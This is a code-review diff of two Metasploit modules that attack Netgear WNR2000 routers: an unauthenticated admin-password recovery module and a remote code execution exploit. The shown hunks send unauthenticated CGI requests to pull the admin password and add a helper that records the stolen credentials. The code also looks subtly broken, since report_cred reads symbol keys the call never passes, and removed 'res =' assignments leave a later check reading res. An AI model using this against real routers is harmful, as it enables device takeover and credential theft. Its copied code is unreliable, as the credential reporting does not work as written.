made changes suggested

modules/auxiliary/admin/http/netgear_wnr2000_pass_recovery.rb

@@ -96,7 +96,7 @@ class MetasploitModule < Msf::Auxiliary
     end
 
     # 1: send serial number
-    res = send_request_cgi({
+    send_request_cgi({
       'uri'     => '/apply_noauth.cgi?/unauth.cgi',
       'method'  => 'POST',
       'Content-Type' => 'application/x-www-form-urlencoded',
@@ -109,7 +109,7 @@ class MetasploitModule < Msf::Auxiliary
     })
 
     # 2: send answer to secret questions
-    res = send_request_cgi({
+    send_request_cgi({
       'uri'     => '/apply_noauth.cgi?/securityquestions.cgi',
       'method'  => 'POST',
       'Content-Type' => 'application/x-www-form-urlencoded',
@@ -130,7 +130,7 @@ class MetasploitModule < Msf::Auxiliary
 
     if res && res.body =~ /Admin Password: (.*)<\/TD>/
       password = $1
-      if password.nil? or password == ""
+      if password.blank?
         fail_with(Failure::Unknown, "#{peer} - Failed to obtain password! Perhaps security questions were already set?")
       end
     else
@@ -146,6 +146,33 @@ class MetasploitModule < Msf::Auxiliary
     return [username, password]
   end
   
+  def report_cred(opts)
+    service_data = {
+      address: opts[:ip],
+      port: opts[:port],
+      service_name: 'netgear',
+      protocol: 'tcp',
+      workspace_id: myworkspace_id
+    }
+
+    credential_data = {
+      origin_type: :service,
+      module_fullname: fullname,
+      username: opts[:user],
+      private_data: opts[:password],
+      private_type: :password
+    }.merge(service_data)
+
+    login_data = {
+      last_attempted_at: DateTime.now,
+      core: create_credential(credential_data),
+      status: Metasploit::Model::Login::Status::SUCCESSFUL,
+      proof: opts[:proof]
+    }.merge(service_data)
+
+    create_credential_login(login_data)
+  end
+
   def send_req(timestamp)
     begin
       uri_str = (timestamp == nil ? \
@@ -211,6 +238,7 @@ class MetasploitModule < Msf::Auxiliary
         if res && res.code == 200
           credentials = get_creds
           print_good("#{peer} - Success! Got admin username \"#{credentials[0]}\" and password \"#{credentials[1]}\"")
+          report_cred({ 'user' => credentials[0], 'password' => credentials[1] })
           return
         end
       end

modules/exploits/linux/http/netgear_wnr2000_rce.rb

@@ -214,7 +214,7 @@ class MetasploitModule < Msf::Exploit::Remote
     # no shell? let's just go on and bruteforce the timestamp
     # 3: get the current date from the router and parse it
     end_time = get_current_time
-    if end_time == nil
+    if end_time.nil?
       fail_with(Failure::Unknown, "#{peer} - Unable to obtain current time")
     end
     if end_time <= datastore['TIME_OFFSET']